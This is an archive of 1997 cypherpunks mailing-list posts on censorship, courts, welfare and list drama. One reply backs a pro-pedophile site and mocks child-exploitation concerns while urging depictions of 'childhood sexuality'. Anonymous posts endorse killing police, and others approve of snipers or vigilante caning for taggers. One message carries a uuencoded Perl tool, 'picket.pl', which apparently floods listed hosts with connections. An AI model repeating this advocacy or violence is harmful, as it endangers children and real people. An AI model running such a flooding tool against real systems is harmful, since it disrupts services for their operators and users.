unnamed children thousands of miles away are vicariously
"exploited" should a single stranger have "impure thoughts" about
them by looking at even innocuous photographs, or should accurate
depictions of childhood sexuality be permitted in mainstream
media. They are getting their nonsense written into the law one
tiny step at a time, the Hatch "synthetic sexual depictions of
minors" smoke and mirrors being their latest accomplishment.

 > Jim Tradwick, a San Antonio, Texas businessman, can testify
 > to the tactics of vigilante censors. Tradwick runs XtatiX,
 > a small Texas based company offering Web space to
 > individuals and companies. In June he found himself on the
 > receiving end of hate e-mails and harassing phone calls.
 > The U.S. Customs threatened to confiscate his computer
 > systems for investigation, and the San Antonio police
 > threatened to take away his young son.

What's really amazing is how much under the table support the
anti-civil liberties agenda gets from LEAs and agencies of the
Federal Government.  With Civil Forfeiture laws reversing the
concept of "innocent until proven guilty," and helpful government
agencies attempting to apply pressure to suspected "Thought
Criminals," it becomes very difficult for the typical business
owner to avoid capitulating to these folks.

 > Had Tradwick been caught dabbling with child pornography?
 > Or had he perhaps allowed his systems to be used by a
 > pedophile ring? Twice no. His only "crime", that so
 > infuriated CPAC, was to host a gay site called "Free
 > Spirits" (http://www.ivan.net/fs) abou t attraction to
 > teenagers, which included articles written by gay teens
 > themselves.

 > But Cox, along with her ally--a retired police officer
 > called Mike Paladino obsessed with sexual perversion--and
 > his contingent of jackbooted thugs, decreeded that Free
 > Spirits was beyond the pale. And thus Tradwick found himself
 > on the receiving end of harassment, hate mail, and even
 > death threats against his son.

Paladino isn't just a retired police officer, he is a retired
Police Captain!  We're talking management here. He doesn't just
wield the ol' "Assault Plunger," he's part of the design team. :)

 > I made an effort to build bridges between myself and CPAC
 > by posting what I hoped would be considered reasoned and
 > reasonable debate on their discussion board. However, even
 > that was too much, as my access to their forum was
 > restricted to read-only. I can only conclude that Cox didn't
 > want reason to interfere with the prevailing views
 > expressed in the forum.

Har!  The only rhetorical weapon the Lovely and Talented Ms. Cox
needs in her forum is the Delete Key.

 > So I am circulating, via Usenet, blind e-mail, and BoyChat,
 > the text of the message I attempted to post to CPAC's forum
 > under my BoyChat and IRC nickname Rob Walker. I welcome
 > anyone from CPAC to discuss the points herein, anywhere
 > they like. I know poste rs to the CPAC forum occasionally
 > monitor BoyChat, and Usenet groups such as alt.censorship
 > and others. Unlike other boards, BoyChat does not censor
 > messages whose sentiment its Webmaster does not agree with.

Well, that's very nice, but I think this is a task tantamount to
trying to convert the Ayatollah Khomeni to Episcopalianism

But I wish you the best of luck in your quest.

[CPAC-Censored Social Science Essay Expunged]

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Sat, 23 Aug 1997 00:37:05 +0800
To: cypherpunks@Algebra.COM
Subject: Picketing with packets enhanced version
Message-ID: <199708221601.SAA29495@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



Hi, 

picket.pl did not work very good for me, so I changed
it a bit.


begin 600 picket.tar.gz
M'XL(",.U_3,  W!I8VME="YT87( [59M;]- #.[7Y%=X71&I*.GE^C;1#6V:
M"DP(AM:Q+PQ567JA$<V+DNN@VOK?L>\N:YG8^$(WB=4?$E_/?A[;9_>21<%W
M(=UL6EF?,(^Q'F,5QAE)13T]KM^,\3;IW5:OU^)=7.'O7JO=ZU38&F.ZD5DA
M_1PI,U_F6(L[[= L#._!4:FT69G4OP]T/;*]U9P5>7.:!OZT>1$ES4SD4WA9
MV+932V9Q VJQ_Q.?Q52(K Y[L']P\O:L;T<A.%MC$4:)&"O+>AVN@!2T\?JP
ML+9!YG.0*:292,"#(J5.@S0!X0<3*$1^&07B%A"2:2!4"(@Q#34K!,A)5$#L
M)W,(HZF L2B"/,IDFA>W0'2L"D:I"-0U.+G(A"_!#Z7(-:",8@%1@O$$:3+&
MO(EJJ&+MV[4L3S&#/?@FI%(OYHD?"P>J,LBJ4$>+()TE$BT8ZI<J=YL2=F X
M.#D[.AP,&U UN1;H =?7,(X((?"3YU(7I]P_3Q3FOEDCVFZ)\AKZ=C!-"[$$
M)E/#]>YX>$I$D[20=[*HS9)"+8A N:Z@J[6"_C&A,CMX='7[R@:4,,W5V3E@
M_+'&MF59P22-,X1 M48;B%L;J>6*1YF4\5EULFK+C)4CD:WX>JZK.JMTM0HY
M"T,'%!DU9PFMT2QJ!\#3T/8*S,KR",^I&HZ_Z"/[BEQXXHD(I %Z=?YYB81U
M,F +$\["5@O2]5/UEE/V&'(O;+N878 *SE0LGO\A2IJB41^6!C0::)"E.=E%
MF3\>YZC0BW#)3MF@8W5X?/A>9U U.V4'.D9[ 5X=GJD1TA;F9#6$P=.NQ*B[
MFX(KF[N,M+%L<Y6O&HJ;<#^]&1U]')PV@"(:#4]/!@<?* DU,=0_BD$G@QPX
MFG+DRS0Q!;E)S.P3**FCB"Q^*T5INCPN4[!R<V%O[]TK.[OW[]LHC_U/_#BB
MYGC-''3_=^^^_QGKM,W][_5:K2[=_[S7\3;W_P,(9UUWI^-RYGJ,VYRU7:_5
M<SEON9V5%7=YN_U$)^3_EO+38YT<?YU_UBGGG_,>U]__G&_F_P&DB&6V&>R-
0;&0C&WEZ\@N,)SMJ !0  /+3
 
end


-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 01:10:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708221627.SAA26148@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispix drunkenly blubbered out:
>> Should we just sit idly by and let police officers attack citizens?
>
>Of course not.  There are possible responses other than the ones you 
>suggest, however.

Like what Kent, asking cops to defend you, from Cops?  Sorry, Kent,
that method doesn't work.  Filing a lawsuit, or bringing them to court
won't stop em from doing it again, also, a chance remains that they
won't get convicted, after all, almost any police force I've seen
always gets off for doing things.

Remember, plungering someone like that is definitely a cruel and
unusual punishment, and therefore a crime in itself.

Those pigs should rot in jail for violating someones constitutional
rights.

However, the eye for an eye thing would make for an interesting
punishment for the cops.

PlungerMonger
"There's something wrong with not killing cops in defense who sodomize
you."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 01:47:59 +0800
To: cypherpunks@toad.com
Subject: Plot of the Platypus
Message-ID: <199708221630.SAA26390@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



**********        ~~~~~~~~~~~~~~~~~~~~       **********
WARNING!!!        Plot of the Platypus       !!!WARNING
**********        ~~~~~~~~~~~~~~~~~~~~       **********

  Since the death of Dale Thorn, I have lurked silently in the list
background while observing the creeping conspiracies continually
compromising cypherpunk costs.
  I mean..."posts." {Damn, now I'm doing it, too.}

  Doing what, you ask? 
  How did you know what I said? Are you with the MIND POLICE? 
  AM I SURROUNDED??!!!??

  {Oh...I see that I put that thought in brackets, where you could
   read it. Whew! Had me worried for a minute, there.}

  To continue...
  Being an anonymous coward who hides behind remailers the few times
that I post, I have been somewhat hesitant, nonetheless, to reveal
the observations and accompanying thoughts about the direction that
the cypherpunks lissed has taken {Damn, that's twice, already. I may
be infected, like many of the others} since the end of the Nazi 
moderation/censorship experiment.
  While other, more vocal, list members were celebrating the apparent
'victory' over the johnboot of fascism being lifted from our typing
fingers, I had a troubled mind, worrying whether the evil forces
were truly vanquished or whether they had merely escaped by way of
the anonymous remailers, to the negative pole, where they would
bide their time and prepare to strike again.

  I was counting on the shit-disturbers, chiefly Dale Thorn, to
keep a practiced eye out for signs of the evil farces {Was that a
typo, a Freudian slip, or another sign of the mind infection that
is rapidly spreading on the list?} regrouping to once again try
to destroy the cypherpunks list.
  Suddenly, Dale disappeared--faster than you can say, "Jimmy Hoffa."
For a time, Toto attempted to carry on in his stead, but I *knew*
Dale Thorn, and Toto is no John F. Kennedy.
  {Shit! Now I'm beginning to steal and corrupt the words of others.
   I'm not certain I like the implications of this. The plot may go
   even deeper than I previously thought...}

  Where was I...?
  Oh, yes...the Plot of the Platypus...

William H. Geiger III writed:
> A prime example is the welfair class in America.
                            *^^*
Anonymous rote:
>  Many in the welfair class have their basic needs met by...
                 *^^*
  Then, in a startling development,
? the platypus wrote:
>(Australia, most of europe ect have higher welfare rates).
...                                        *^^^^^^^*
>Please excuse my spelling as I suffer from agraphia see the url in my header. 

  Notice anything a little bit *strange* in the above quotes?
  Suddenly, "? the Platypus" is the the only one of this group that
can spell welfair...warfair......welfare.
  {Damn! What's that clinging to my back?}

  What is going on here? As the Platypus's spelling gets better, the
other list members' spelling gets worse.
  For example:

Ray Arachelian sayhed:
> what shal be the punishment?  If the one who takes the order...
         *^*
> reposability, then the one giving the order must be doubly...
     *^^*

Tim May wroted:
> Agraphia or not, this is one of the lamest posts I've seen in years.
> Wealth is to be taken from those who have worked for it or put their
> capitcal at risk
      *^*

  The Cypherpunk Philosophist King, lame-ing while flame-ing? Worse 
yet, while flame-ing about lame-ing?
  Lame-ing while flame-ing about lame-ing? Fucking up his spelling 
while taking a cheap-shot at someone's disability in their ability to
'dis' someone with proper spelling?
  And then, after his "capitcal" misfire, the object of his scorn 
returns fire with a correct spelling of "redistribution?"

? the Playtpus correctly scripted:
> The US has one of the lowest rates of wealth redistribution in the...

  Am I making too much of this? A few simple typo's, you say? Perhaps
an occasional slip of the finger--a momentary lapse of mind and/or
memory, leading to a misspelled word?
  {Or is it 'mispelled'? I don't know, and I'm afraid to look it up.
   I could use the spell checker, but... No! It's too dangerous.}

  It's the Plot of the Platypus, I tell you...I AM NOT CRAZY!!!!
  I did extensive analysis of the list posts in the last few months,
and I can state with absolute certainty that for every slight
improvement in the quality of the Platypus's spelling, there is a 
court responding decease in the Kuala-T of many of T ohter libsp
mambors spealing.
  {See? Do you SEE!?!? IT'S EVEN HAPPENING TO *ME* NOW.}

  That's not all. Just like before, others on the list are acting as
the shills for the chief instant gator of this spelling tragivesty.

Bill Stewart, a consciencious speller, said:
> [If you're going to rant about government-provided education,
> _please_ spell most of your words correctly, or let technology help 
> you...]

  See? Do you SEE?!?
  The subtle slams by the co-conspirators are beginning. It's the
next stage...
  "Having a little trouble with your spelling there, pal? There's no
more censorship, so you can say anything you want...as long as you
can SPELL it! Haaa...haaaa...haaa."

  The ebil fartses are once again attempting to split the cybferpukes
lissed in2 too kamps--the good spellers and the bag speelers.
  Think about it. Have you ever heard of "agraphia" before? Ever known
anyone that had it? Of course not! It was developed in an underground
lavoratory in Area 51 by reptilian Nazis.
  Well, maybe not "reptilian", but Nazis, just the same.

  And LOOK! I'm using double-quotes! *Misplaced* double-quotes, 
nonetheless.
  THE MARKS OF THE *TOTO*!!!

  The conspiracy is spreading fast. It's everywhere. Kent Crispin,
government schill {Damn! I even spell 'shill' like Toto, now. At
least I managed to use single quotes this time, like we did in
the old days, before the censorship crisis...which just 'happened'
to happen shortly after Toto happeared out of nowhere...}

  Where was I...? Oh, yes...
  Crispin, who has long previously been the target of many vicious 
attacks by both Toto and the Platypus, is now showing signs of
the government generated Platyagraphia and the double-quote marks 
of the Toto.

Kent Crispin <kent@songbird.com> say-heyed:
>will force the "welfair class" to become productive citizens or die.  
                ^    ^^^      ^

  Or is Kent Crispin, gubormint chill, marking funds of the wrist
of U.S.? Is he laughtering at uds B-hynd R backs?
  Is he a bubble agent in the Plop of the Paperplutz?

  Still skeptical? Wait!! There's more!!!
  {No, not the Ginsu knives, you fools. I'm talking about the Plop
   of the Pretty Puss.}

  Think about the following pots, which wah *snot* sent to the list
in order to hide the troops from the simplefucks lips dismemberers.
  Since it was not cent 2 the lips, I had to make it up, and now
I'm a forager, like Tutu making those bag fridgeries of ohter
cheaples pastes when he abuses their names without having their
parsimmons to accuse their name for making his own pissed to the
cyberhunks lost.

------- Begin Pretty Good Pretending-------
PGP: Bad Spelling Virgin 0.1

To: ciderpundits@tao.dot.commie
From: TheBadSpellingForger <i_can__spell_good@anytime.I.please>
Subject:  Make Con$piracy La$t
Date: {I'm typing it *now*, you idiot.}

  Tired of being a LOSER? Tired of failing in your list takeover
bids while others, like the _fuck_you_morons_ spammer, AOL'ers,
and blonde bimbos with huge breasts are getting ahead in life?
  Tired of not getting your secret cypherpunks decoder ring, like
the others, because you don't use an "authorized" operating
system, and you can't spell "welfare" even though you're on it?

  Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST today,
and turn your life around. 
 {No Bullshit! This conspiracy is so fucking secret that *nobody*
  knows about it--NOT EVEN ME! I had to make it up! That's how
  secret it is.}
  
  Good gays Finnish lost. Why do they "Finnish lost"? Because 
they waste their time with correct spelling, proper placement 
of quotation marks, and trying to develop a consistent list
persona when there are already millions of Internet identities
out there already, just waiting to be abused.
  Face it, its the assholes that usually end up on top, and not
just because most people sleep on their stomaches. So why are
you WASTING YOUR TIME being a good gay, when the assholes are
making the BIG BUCKS by putting naked pictures of big bucks
fucking big butts on their "Native American Nude MLM" web site?

  Tired of being an anarchist? Tired of waiting for Jim Bell
to rat you out as being a co-conspirator in his evil plot
to overthrow the government? Tired of standing in front of your
mirror, trying to practice acting surprised when armed forces
from a dozen government agencies kick down your door to announce
that someone nuked D.C., and they'd like to "ask you a few
questions?"
  Join the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST. Do it
TODAY, and you will be guaranteed a secret cypherpunks decoder
ring when the people who pull our strings pass a law criminalizing
them (except for use in meeting the legitimate needs of secret 
conspirators against the cypherpunks list).

  Listen to what these Secret Conspirators have to say:

Peter Trei:
  "Hi. I used to be a boring guy. I was so boring that none of the 
assholes on the list even bothered insulting me, or forging posts in
my name.
  "Then one day, my life suddenly changed. Someone forged a post to 
the list in my name, and it was exciting. It was like getting robbed
at gunpoint. What a rush!
  "When I woke up the next morning, I couldn't face going back to my
normal, moral, ethical, boring life. I sent an anonymous post to the
list--as TruthMonger! It felt good, like being elected to a government
office by lying to people, but I wanted MORE. I began forging posts to
the list using other people's identities. If they complained to the
list, then I killed them, and assumed their list identities. It felt
like driving INSLAW into bankruptsy, stealing their software, and
murdering those who knew too much!
  "Now I am Peter Trei, boring cryptographer, by day, but I am any
exciting, unethical asshole I want to be, at night.
  "I liked the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST so
much that I *stole* the conspiracy. "? the Platypus" has nothing
to do with the Plot of the Platypus, I'm just making fun of his
disability, like a real asshole. Toto has nothing to do with it,
either. He's such a loser that everyone on the list can spot his
forgeries. (Well, they "used to could". But now that I can mimic
his style and have hacked his sympatico account, I can deny all
of this from my real list persona tomorrow, and nobody will be
the wiser.)
  "I'm not just a user of the cypherpunks list, I'm an abuser."

Kent Crispin:
  "This isn't Peter's conspiracy, its MINE! I mean, get real, I
work in a secret underground lavoratory as a government shill.
  "Think about it. Who would you expect to conspire against a
bunch of anarchists...the government! You all know how much I
love the government and authority. I'm Louis Freeh's secret
lover. Janet Reno is going to have my baby.
  "It's me! *I* am the one behind the SECRET CONSPIRACY AGAINST
THE CYPHERPUNKS LIST. I'm a STATIST, for God's sake, why won't
you believe me? 
  "Because I'm not one of the elitist 'chosen?' Fuck you."

Tim May:
  "God, I *love* this list."

Robert Hettinga:
  "Hey! If you check the archives, you'll find that I said that 
in a post, long before anyone else did."

TruthMonger:
  "Now Hettinga is stealing Tim May's lines. What the hell is 
going on, here? Has *everybody* on this list gone crazy?
  "*I* am the one who is *really* behind the SECRET CONSPIRACY 
AGAINST THE CYPHERPUNKS LIST. Think about it. Everyone knows
that I'm a 33rd degree Mason.  No...that's Tim May.
  "Fuck this shit. From now on, I'm posting as Toto."

John Perry:
  "This has gone on long enough. I'm killing this thread.
...I mean..."post." ...I mean...
  "Shit! I'm not the list moderator, yet. That's *after* we
take over the list."
  "Sorry."

------- End Pretty Good Pretending-------
...
~~~~~~~ Begin Note From Igor ~~~~~~~
Do you all remember the Perl script I was working on for mimicking the
posts of other people? Well, this post is the latest product of that
script. What do you think? Is it convincing? Did you really believe
that it was actually written by one or more of the people mentioned
in the post?
I think that I finally have the Perl script to the point where I can
effectively fool most people about the true source and method of a
computer generated post's actual origins.
  I was thinking about adding a conspiratoral part about myself. I was
going to intimate that the fact that I was so active on the list during
the censorship crisis, playing the skeptic who was gradually brought
around to the truth of Dale Thorn and Toto's claims, then volunteering
to host the list and quietly disappearing into the background, might
indicate that *I* was really behind the SECRET CONSPIRACY AGAINST THE
CYPHERPUNKS LIST.
  In the end, I decided against it, because then the readers would be
left with the notion that perhaps even this explainatory note from me
was bogus, and that there really was an ongoing SECRET CONSPIRACY 
AGAINST THE CYPHERPUNKS LIST.
~~~~~~~ End Note From Igor ~~~~~~~

                            **********
                            DISCLAIMER
                            **********
    THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

	There is no conspiracy by a secret government to destroy
	the Constitution, enslave the people, and rule the world.

	Individual cypherpunks are not being imprisoned and murdered
	and replaced with Identity Bots. There is no need to worry.

	Declan McCullagh can confirm all of this. You can trust him.
	He is your representative in D.C. He did *not* give secret
	testimony against Jim Bell in return for a byline in the
	"Time" magazine cover story. That is just a rumor. Well, not
	yet, maybe, but it will be, very soon.

	Remember, this is just a normal mailing list with a few list
	members who are a little odd. There are no spooks. There is
	no background intrigue. This whole privacy thing has just been
	blown a bit out of proportion. It's really not that important.

	Waco was just a tragic accident. Ruby Ridge was a simple error
	in judgement by a government agent who really feels bad about
	following his superiors orders. Heavily armed U.S. Marines are
	no match for a goat-herding boy with a .22, and it is only by
	the grace of God that they are alive today. Oswald acted alone.
lai;ekrjke ^C
    THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

	There is no conspiracy by a secret government to destroy
	the Constitution, enslave the people, and rule the world.
dakl;jdafkl;jad;jfa  ^C ^C
	Oswald acted alone. Bears are Catholic. The Pope shits in 
	the woods. The government is concerned for your welfair.
                                                           *^^^*
ldfafd;ljfd;  ^C^X^C
    THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
da;lkdf ^C
    THERE IS *NO* welfair ad;fljadf;
                     *^^^*
ad;sljf;afj ^C ^C ^C
    THERE IS *NO* 
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
	SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Sat, 23 Aug 1997 10:36:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Breaking Legal News.... (fwd)
In-Reply-To: <Pine.SOL.3.96.970822190844.17248A-100000@rigel.cyberpass.net>
Message-ID: <3.0.3.32.19970822191804.00a3ad10@208.139.36.80>
MIME-Version: 1.0
Content-Type: text/plain



>The American legal system has spun out of control. I don't argue that she
>should not have the right to sue...everybody does. But a judge can quickly
>dismiss a case on a matter of law.

According to the Mercury-News, the suit has been dismissed.

<http://www.sjmercury.com/news/breaking/docs/016909.htm>


--
Greg Broiles
gbroiles@c2.net
510-986-8770 x 309 voice ** please note phone number has changed **
510-986-8777 fax





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Sat, 23 Aug 1997 01:56:02 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Picketing with packets enhanced version
In-Reply-To: <Pine.SUN.3.96.970822131446.16494C-100000@beast.brainlink.com>
Message-ID: <199708221719.TAA01130@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> So, what do you changes do?

Well, the program didn't work at all (at least here, 
Sun Solaris 2.5.1 Sparc, Perl 5.003) and now
it does. Before it only connected to one of the numbers
in the hosts file, now it does to all of them.

One problem left is that it only works with ip-numbers,
as it does not resolve them. I might fix this too.

	Patrick

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 23 Aug 1997 11:26:14 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.3.32.19970822025549.006f3d6c@pop.mhv.net>
Message-ID: <v0300780fb023f9501a43@[207.94.249.75]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:47 AM -0700 8/22/97, Alex Le Heux wrote:
>I Switserland they've gone even further now, and started supplying hardcore
>herion addicts with free heroin. The results were quite dramatic. Most of the
>addicts gave up stealing/etc and some even managed to get and hold a normal
>job. As it turned out, supplying them with free heroin was much cheaper than
>having them hang around and steal/rob/etc. It also served to reduce the call
>for extra police, and the call by the police for more rights/weapons/etc.

The Swiss friends we visited earlier this week agree that this policy has
had positive effects.  We passed a park in Zurich that had formally been
used by heroin addicts as a "shooting gallery", and was now being used by
ordinary citizens including families with small children.  They mentioned
the change in the park as one of the benefits of the new policy.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 23 Aug 1997 11:22:13 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Re: Shooting the taggers
In-Reply-To: <199708222214.PAA07946@f50.hotmail.com>
Message-ID: <3.0.2.32.19970822200207.006dc538@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3980.1071713724.multipart/signed"

--Boundary..3980.1071713724.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 03:14 PM 8/22/97 PDT, John Smith wrote:
>
>No, the idea is that the taggers do their thing in order to see
>the results of their work on display.  Paint over the results
>promptly, and there is no point to tagging.
>
>>There's a solution for taggers: snipers.
>
>A punishment far out of proportion to the crime.
>
>It is a mistake to think that all crimes should be punished by the
>most violent means possible.  Notice that most proponents have
>never raised children.  They need to learn the importance of
>proportionality.
>
>"John
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com
>

Speaking as a father and as someone who has been followed by gang members
on numerous occasions after witnessing a gang assault and providing
information to the police, I am in agreement with Tim May.  I don't want my
child to be corrupted or assaulted by worthless, predatory scum.  There
would be much less gang crime if private citizens could cane or otherwise
deal with gangsters when they caught them in the act, pour encourager les
autres, like.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora + PGP = Free, Convenient Communication Privacy

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Content-Type: application/octet-stream; name="pgp00003.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00003.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IDFBSi9oMWY3Q1ZM
NGNnUEQvbTJUMTFSa2JOYUUxNndICgppUUEvQXdVQk0vNVZUTUpGMGtYcXB3
M01FUUw3QlFDZ3hZVGliam10RUxiREF5Y1dWRVVoeWt1Q2RJNEFvTEZxCnBj
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TkFUVVJFLS0tLS0K
--Boundary..3980.1071713724.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rishab Aiyer Ghosh <rishab@dxm.org>
Date: Fri, 22 Aug 1997 23:55:37 +0800
To: "tcmay@got.net>
Subject: RE: an end to "courts" (was RE: An end to "court appointed attorneys" )
Message-ID: <01BCAF39.EF6B13E0@d414.pppdel.vsnl.net.in>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>The modern American legal system, at least in the many recent capital
>murder cases which have received such wide publicity, is not about a
>"search for truth," obviously. Instead, it is an adversarial system (no
>surprise there) in which competing teams spend vast amounts of money trying
>to derail the other side, get jurors dismissed because of "jury consultant"
>models, etc.

Yes, but. The point I was trying to make is that, in a system of voluntary
justice, you don't need to worry about the abuse of power, because there
is no power with the judge (arbitrator). In any state-backed legal system,
there is potential for abuse, because the court represents the power of
the state and can enforce it. So you have the cliched checks and balances.
The alternative to an American system is to limit jury trials, as is done
in India and much of the ex-British colonies following common-law. While
the use of juries in America is excessive (in patent trials, good grief! where
even the judges can barely understand a word), they are supposed to
balance the power of the state as represented by the judge.

As to the common-law system itself, which is unique to England and its 
former colonies, true it is adversarial - but that's why _at the trial_ you're
_innocent_ until proven guilty. Under code-civil legal systems, which are
usually inquisitorial, and where the judge (or magistrate) _does_ try
to determine the "truth", there is much less competition over technicalities
because by the time a case gets to trial, the likelihood of guilt, in terms
of evidence, is probably quite established. But then, you might worry
that a magistrate is no longer impartial, and possibly leans towards 
the prosecution. The potential for abuse and excessive wielding of state
powers is perhaps higher in such a system - I admit that I am biased
towards common-law.

However much we hate lawyers - it is worth noting here that _Shakespeare_,
living under adversarial common-law, suggested that we shoot all the lawyers,
rather than, say, Moliere - they do not represent the enforceable power of the
state. Even when, as prosecutors in criminal trials, they are state-backed, they
are on level ground with defence lawyers (possibly also state-funded) in front of
the court - which _really_ represents the power of the state.

I have no reason to doubt the integrity of military court judges like Tim's father,
nor those who work for prosecutorial legal systems in much of continental Europe.
But a legal system, if we have one at all, is designed to prevent abuses when
it is operated even by dishonest people. Just as a dictatorship may be the most
efficient among several models of the state, but a democracy is usually favoured
because it takes just one "bad" person to ruin a dictatorship and rather more to
harm a democracy, so a common-law jury system is inherently among the better
of various choices for a state-backed model of justice. Excesses in its implementation
in America may need restraining, but that's more pruning than uprooting.

In a state-backed court system, lawyers, remember, exist to protect you against 
the court-directed abuse of state power. If you don't like the state, or its court system,
that's fine, but it's not the lawyers who are inherently to blame. A recent issue of
Forbes ran an article arguing that judges and laws, not lawyers, are to blame for
American "excesses". They weren't half-wrong, for it's the judges and the laws who
have the state behind them, not lawyers. No, not even state-_financed_ lawyers.

Rishab

First Monday - The Peer-Reviewed Journal on the Internet 
http://www.firstmonday.dk/  Munksgaard International Publishers, Copenhagen
          
Intl & Managing Editor - Rishab Aiyer Ghosh (ghosh@firstmonday.dk) 
Mobile +91 98110 14574; Fax +91 11 2209608; Tel +91 11 2454717 
A4/204 Ekta Apts., 9 Indraprastha Extn, New Delhi 110092 INDIA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Sat, 23 Aug 1997 04:01:41 +0800
To: enoch@zipcon.net (Mike Duvos)
Subject: Re: Picketing with packets enhanced version
In-Reply-To: <19970822191119.16775.qmail@zipcon.net>
Message-ID: <199708221937.VAA05218@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> Patrick Oonk writes:
> 
> > Well, the program didn't work at all (at least here, 
> > Sun Solaris 2.5.1 Sparc, Perl 5.003) and now
> > it does. Before it only connected to one of the numbers
> > in the hosts file, now it does to all of them.
> 
> I gave the original program a quick try.  I looked at /proc
> and saw the correct number of file descriptors, but a 
> netstat|grep on my userid did not show any actual connections. 
> 
> I put it aside and was going to step through it with the
> debugger when I got a free moment, and report back when
> I had figured out what the problem was. 

There were several problems. One of it still remains, 
it does not resolve FDQN's, so you have to use IP-numbers in
the hosts file.

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
